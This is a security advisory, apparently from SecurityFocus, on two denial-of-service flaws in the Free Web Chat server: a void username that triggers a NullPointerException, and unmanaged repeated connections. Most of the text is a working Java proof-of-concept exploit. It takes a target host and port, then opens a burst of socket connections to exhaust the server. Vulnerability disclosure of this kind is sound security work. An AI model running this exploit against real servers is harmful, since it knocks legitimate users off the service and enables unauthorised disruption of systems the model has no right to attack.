source: https://www.securityfocus.com/bid/10863/info
Free Web Chat server is reported prone to multiple denial of service vulnerabilities. The following issues are reported:
The first denial of service vulnerability reported results from a lack of sufficient sanitization performed on username data. It is reported that a user with a void name may be added. This action will result in a NullPointerException.
A remote attacker may exploit this vulnerability to deny service to legitimate users.
The second denial of service vulnerability is reported to exist due to resource consumption. It is reported that the Free Web Chat server does not properly manage multiple connections that originate from the same location.
A remote attacker may exploit this vulnerability to deny service to legitimate users.
/*
Free Web Chat (Initial Release)- Resources Consumption - Proof Of Concept
Coded by: Donato Ferrante
*/
import java.io.PrintStream;
import java.net.Socket;
import java.net.InetAddress;
import java.net.ConnectException;
public class FreeWebChat_ir_RC_poc {
final static String VERSION = "0.1";
final static int MAX_CONN = 20;
public static void main(String [] args){
System.out.println(
"\n\nFree Web Chat - Resources Consumption - Proof Of Concept\n" +
"Version: " + VERSION + "\n\n" +
"coded by: Donato Ferrante\n" +
"e-mail: fdonato@autistici.org\n" +
"web: www.autistici.org/fdonato\n\n"
);
String host = "";
int port = 0;
if(args.length < 2){
System.out.println("Usage: <host> <port>\n\n");
System.exit(-1);
}
try{
host = args[0];
port = (new Integer(args[1])).intValue();
}catch(Exception e){System.exit(-1);}
try{
int i = 0;
while(i++ <= MAX_CONN){
try{
InetAddress addr = InetAddress.getByName(host);
Socket socket = new Socket(addr, port);
PrintStream printStream = new PrintStream(socket.getOutputStream());
printStream.println("test");
printStream.close();
}catch(ConnectException ce){System.out.println(ce); System.exit(-1);}
}
}catch(Exception e){System.out.println(e); System.exit(-1);}
System.out.println("\nFree_Web_Chat - Resources Consumption - Proof_Of_Concept terminated.\n\n");
}
}
